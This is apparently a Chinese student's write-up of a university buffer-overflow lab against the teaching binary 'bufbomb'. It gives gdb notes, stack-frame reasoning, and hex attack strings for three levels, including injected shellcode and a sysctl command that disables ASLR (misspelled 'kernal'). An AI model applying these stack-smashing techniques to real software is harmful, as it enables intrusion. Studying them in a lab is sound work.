额 今天做的事缓冲区 溢 出 攻 击 实验

思路就是有个函数会一直读字符串,可是对字符串长度没有限制,所以会造成缓冲区的溢出,导致堆栈中的其他值被我们修改,达到攻击的目的

实验资源
链接: https://pan.baidu.com/s/1_ORsf-vCkZlccIlGYT5QIQ
提取码: bg27

目录

  • 预备知识
  • 实验介绍
    • 攻击目标:
    • 攻击要求:
  • 解释与说明
    • 帮助函数:
    • 如何提交答案:
  • 实验预备
  • 第一题思路及答案
  • 第二题思路及答案
  • 第三题思路及答案

预备知识

【X86-64寄存器,立即数与寻址,汇编常用指令整理】

gdb常见指令

run 执行
si 单步执行b 设置断点,可以在函数调用时中断,即
b  func1
或者在指定地址处中断,比如
b  *0x12f3dep 查看数据
p (char*)0x123fed 查看对应地址的字符串
p *0x30fed4@7,查看0x30fed4往后对应7个数字
查看寄存器
p $rdx
查看寻址结果
p *(0x3014fd) 或者 p *($rdx)

实验介绍

本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过关卡!

要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。

(关卡是平行的,即输入三种答案,得到三种结果,而不是输入答案123得到最终结果这样子)

攻击目标:

实验攻击目标的程序为bufbomb(可执行文件,需要用objdump反汇编为汇编代码查看)。该程序中含有一个带有漏洞的getbuf()函数,它所调用的系统函数gets()未进行缓冲区溢出保护。其代码如下:

int getbuf()
{char buf[12];Gets(buf);return 1;
}

系统函数gets()从标准输入设备读字符串函数。以回车结束读取,不会判断上限,所以程序员应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。

攻击要求:

目标程序bufbomb将执行test(),进而执行getbuf(),最终执行gets()。其中gets()会从标准输入设备读入数据。要求黑客同学利用所学知识,构造适当的输入数据,通过标准输入传递到目标程序,实现以下目的:

  1. getbuf()返回时,不返回到test(),而是直接返回到指定的smoke()函数(该函数已经存在于bufbomb可执行文件中)。
  2. getbuf()返回时,不返回到test(),而是直接返回到指定的fizz()函数(该函数已经存在于bufbomb可执行文件中),而且要求给fizz()函数传入一个黑客cookie值作为参数。其中cookie可以通过makecookie工具根据黑客姓名产生——“makecookie
    neo”(neo请替换成你的名字)。
  3. getbuf()返回时,不返回到test(),而是直接返回到指定的bang()函数(该函数已经存在于bufbomb可执行文件中),并且在返回到bang()之前,先修改全局变量global_value为你的黑客cookie值(cookie值生成方法与上一要求相同)

解释与说明

其实就是要你输入一长串指定的字符串,我们知道不管什么数据在内存中都是01保存的,所以我们通过适当编写这些01,并且把他们转换为字符串,输入到bufbomb中,达到攻击的目的

帮助函数:

makecookie:根据你的用户名产生一个cookie,实验会用到
sendstring:将16进制的字符串转换为真正的ASCII字符串并且输出

如何提交答案:

将答案写在一个txt,然后通过命令(需要在解压后的实验文件夹下运行命令)来提交答案,其实就是通过管道,把【答案.txt】的16进制表示的攻击字符串,转为真正的字符串,然后调用bufbomb,即传入我们要攻击的代码中

cat 答案文件名.txt | ./sendstring | ./bufbomb -t 你的用户名

实验预备

首先将老师给的压缩包解压

然后将bufbomb可执行文件反汇编得到汇编代码

第一题思路及答案

注意:指针传数据都是保存在栈中的,而不是edi寄存器

getbuf函数汇编代码

分析getbuf函数的汇编代码,并画出其栈帧结构,结合上面给出的c代码,不难发现getbuf的栈帧结构,如下图

我们需要将返回地址改写为smoke函数的地址 08048eb0 <smoke>:

需要填充如图所示的灰色区域,也就是28个字节,即28个字符,(从下向上填),然后返回地址填充smoke函数的地址,即0x08048eb0,而转换为小端表示就是 b08e0408(注意!!!这里要用小端表示地址)

所以可以构造攻击字符串,长度为32字节,前28字节是覆盖缓冲区的,所以随意,因为7777是由4个7组成的,而4 x 7 = 28 所以使用 28个’7’ + b0 8e 04 08(改写后的返回地址)作为攻击字符串,因为7的ASCII码是0x37所以攻击字符串的16进制为

37373737373737373737373737373737373737373737373737373737b08e0408

编辑ans.txt保存我们的攻击字符串

然后使用管道命令,将字符串转为字符再作为输入bufbomb的参数,这里使用我的学号,也就是2018171028作为用户名

cat ans1.txt | ./sendstring | ./bufbomb -t 2018171028

第二题思路及答案

首先根据上文对getbuf的分析,我们知道了怎样让test函数返回地址改为指定的函数,可是如果返回地址的函数需要参数,我们还要传入参数,我们先分析fizz函数并画出其栈帧结构

首先是压栈开栈,然后读取形参,和0x804a1d4的值做比较,这个值很怪,这里通过老师给的提示,猜测是用户名的cookie值,果断GDB一下,果然是cookie

fizz函数的汇编代码如下

fizz函数的栈帧结构如下

所以我们调用fizz之前,除了压返回地址,还要保存对应的形参,形参为用户cookie

首先获得自己用户名的cookie,为0x1014f59d


然后我们根据栈帧调用的规则:先弹出返回地址,然后才是新的栈帧

如下图,先弹出返回地址,然后形成新的栈帧,形参相对getbuf函数栈帧的位置就很明确了,即getbuf函数返回地址往上+8个字节的位置,写入我们的cookie

所以可以编写我们的攻击字符串了,getbuf函数返回地址填写fizz函数地址的小端表示,然后往上+4个字节的地方任意填即可(即上图橙色块下方)因为前天是520,而我还是个单身狗,所以用ffffffff来填充,而橙色块区域填写我们的用户cookie,注意同样是小端表示,我学号的cookie为1014f59d,写成9df51410,得到攻击字符串:

37373737373737373737373737373737373737373737373737373737608e0408ffffffff9df51410

编写ans2.txt,然后测试攻击

cat ans2.txt | ./sendstring | ./bufbomb -t 2018171028

第三题思路及答案

注意:这题需要关闭Linux系统的内存随机化,使用如下指令(需要root权限):

sysctl -w kernal.randomize_va_space=0

首先查看bang的汇编代码,分析其栈帧结构,又和两个难懂的地址(0x804a1c4,0x804a1d4)比较,如题2的思路,我们把他打印出来看看,发现:0x804a1c4是global_value全局变量,0x804a1d4是用户cookie



那么思路很清晰了,就是在getbuf返回之前修改global_value的值,将他变成我们的用户cookie的值

我们要修改内存必然要执行我们的代码,我们已知能自定义的地方有两处:
1.getbuf返回何处
2.getbuf读的字符串

所以getbuf函数的返回地址,返回到我们输入字符串的地址,如果我们输入的是程序的01编码,那么就会执行我们的程序!即修改global_value的值,然后再跳转到bang函数即可

创建attack_code.s,编写汇编代码,因为mov指令不能内存到内存,所以用rax寄存器做中转,然后直接跳转到bang函数起始地址,即0x08048e10
(这个地址可以在反汇编出来的代码中查看,上面也有)


将global_value的值变成cookie,然后将bang地址塞入rdx,接着跳转到rdx存储的地址

mov (0x0804a1d4), %rdx       // 将用户cookie值存到rdx
mov %rdx, (0x0804a1c4)      // 将rdx值存到global_value变量中
mov $0x08048e10, %rdx       // 将bang函数的地址存到rdx 等下跳转用
jmp *%rdx                   // 以rdx中的值为绝对跳转地址进行无条件跳转

输入命令 gcc -c attack_codes.s -o att.o 将attack_codes.s编译为机器码存到att.o

然后输入命令 objdump -d att.o > att.txt 将att.o反汇编的结构输出到att.txt供我们查看


(值得注意的是这里使用rax当中转寄存器会有点问题,毕竟rax存返回值,我又一次用rax做中转,的出来的global_value 和用户cookie相差1 经典差1 ,猜测是return1造成的,所以尽量用一些闲置的寄存器吧,这里使用rdx寄存器)

所以攻击代码可以确定了,除此之外,我们还要知道getbuf中buf的首地址,即我们注入代码的地址,然后把getbuf的返回地址改成buf首地址即可

要查看栈指针寄存器的值,GDB调之

在getbuf设置断点,并且查看rbp的值,而buf起始位置为rbp-24(根据上面画的getbuf栈帧示意图可推得)

注意这个rbp的地址,不同机器上应该不一样,最好自己gdb调试一下看


rbp为ffffb1a8 那么根据上面画的getbuf栈帧图, buf起始地址为 ffffb1a8 – 24(十进制) = ffffb190,小端表示:90b1ffff

(!!!!!注意小端表示!!!!!)

48 8b 14 25 d4 a1 04 08 48 89 14 25 c4 a1 04 08 48 c7 c2 10 8e 04 08 ff e2 (上面汇编再反汇编出来的16进制机器码部分) + 00 00 00(为了溢出缓冲区而补齐28个字符)+ 90b1ffff(返回地址为bang函数地址 小端表示)

攻击字符串16进制表示:

488b1425d4a1040848891425c4a1040848c7c2108e0408ffe200000090b1ffff

执行以下命令,将ans3.txt中的攻击代码注入程序

cat ans3.txt | ./sendstring | ./bufbomb -t 2018171028


成功!

缓冲区溢出攻击实验(深大计系2实验4)三题思路+答案相关推荐

  1. LC-3 中断实验 (深大计系1实验5)

    目录 前言 实验内容 用户程序 中断服务程序 注意事项 配置中断 代码实现 用户程序 中断服务程序 结果 前言 这个实验不是很难,比上一个四子棋实验简单多了... 实验内容 这个实验需要实现LC-3的 ...

  2. 计算机系统基础学习笔记(7)-缓冲区溢出攻击实验

    缓冲区溢出攻击实验 实验介绍 实验任务 实验数据 目标程序 bufbomb 说明 bufbomb 程序接受下列命令行参数 目标程序bufbomb中函数之间的调用关系 缓冲区溢出理解 目标程序调用的ge ...

  3. 网络安全实验:CCProxy缓冲区溢出攻击

    CCProxy缓冲区溢出实验 一.实验环境说明 溢出对象:CCProxy(一款代理服务器软件,支持FTP和Telnet) 调试工具:CDB.WinDbg.OllyDBG.IDA Pro etc 实验环 ...

  4. 【网络攻防技术】实验四——缓冲区溢出攻击实验

    文章目录 一.实验题目 二.实验步骤 Task1: Get Familiar with the Shellcod Task2: Level-1 Attack Task 3: Level-2 Attac ...

  5. 网络攻防实验之缓冲区溢出攻击

    这个实验是网络攻防课程实验中的一个,但是目前我还没有完全搞懂代码,以后有机会来补.也欢迎大佬指点 一.实验目的和要求 通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区 ...

  6. 缓冲区溢出攻击实验(一)

    无聊之余,想弄一下缓冲区溢出实验,之前一直听说这个,也没有亲自动手做一下,发现真正弄起来的时候还是没那么简单的,其实学到的东西还是不少的.特此记下学习的过程. 一.基础知识 这一部分主要是关于程序内存 ...

  7. 实验8 缓冲区溢出攻击实验

    实验8 缓冲区溢出攻击实验 缓冲区溢出是目前最常见的一种安全问题,操作系统以及应用程序大都存在缓冲区溢出漏洞.缓冲区是一段连续内存空间,具有固定的长度.缓冲区溢出是由编程错误引起的,当程序向缓冲区内写 ...

  8. 缓冲区溢出攻击(Buffer Overflows实验笔记)

    缓冲区溢出是什么? 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数 ...

  9. 缓冲区溢出攻击实验(C语言 | 汇编语言 | 输出deadbeef)

    缓冲区溢出攻击实验(输出deadbeef) C语言题目源码 尝试 运行程序 观察 分析 栈内部情况 决定使用栈溢出 实施 使用vs2019打开反汇编 使用反汇编 构造payload 得到结果 C语言题 ...

最新文章

  1. 哈佛博士生教你轻松愉快地读博
  2. 快速消费品行业的营销费用的管理(2)----营销费用的分类
  3. 【tensorflow】tf-tf.where(condition, x, y, name)
  4. 文件系统_Docker文件系统实战
  5. 硫辛酸的7種功效及副作用(10點使用禁忌要留意)
  6. hbuilder 个推登记应用
  7. Tengine(Nginx)动静分离简要配置
  8. 计算机使用维护教程,《计算机使用与维护教程》教学大纲.doc
  9. P2657 [SCOI2009]windy数
  10. if name==main是什么意思_VLOOKUP反向查找中的IF({1,0}是什么意思?
  11. 爬取 wallhaven图片到本地壁纸库
  12. SLF4J介绍以及与LOG4J、LOG4J2、LOGBACK整合方法
  13. Axure 8.1.0.3381注册码
  14. “趁年轻,浙样爱”陈晓景甜领衔春日恋爱宣言
  15. app store android退款,买完 App、游戏内购就后悔了?手把手教你如何申请 App Store 退款...
  16. 清华姚班程序员,网上征婚被骂?
  17. arduino智能浇花系统_智能自浇花系统
  18. 德声科技代理M-Live音视频播放器
  19. 计算机多媒体在教育应用中的优点,计算机多媒体教学的利与弊论文
  20. 视频教程-零基础学C#编程—C#从小白到大咖-C#

热门文章

  1. mac电脑解决Error: command failed: npm install --loglevel error --legacy-peer-deps
  2. “不念过往,不畏将来”——2017年山东省第八届ACM大学生程序设计竞赛总结
  3. 群晖Synology Drive同步规则中过滤指定文件夹
  4. 【笔记】5.圆周卷积概念及其计算
  5. java语言程序设计第二版 张思民_java语言程序设计(张思民编著)习题答案.doc
  6. AD域禁止运行指定软件
  7. 【BFS】魔板(c++基础算法)
  8. 乂学栗浩洋:教育版AlphaGo打破垄断,撬动2000亿在线教育市场
  9. php安装 tvheadend_,我的NAS我的地盘 篇二十一:群晖安装TVHeadend 4.4,Xbox下Kodi播放IPTV更流畅,再来一次同样精彩!吖!...
  10. 五、数字签名及存在的问题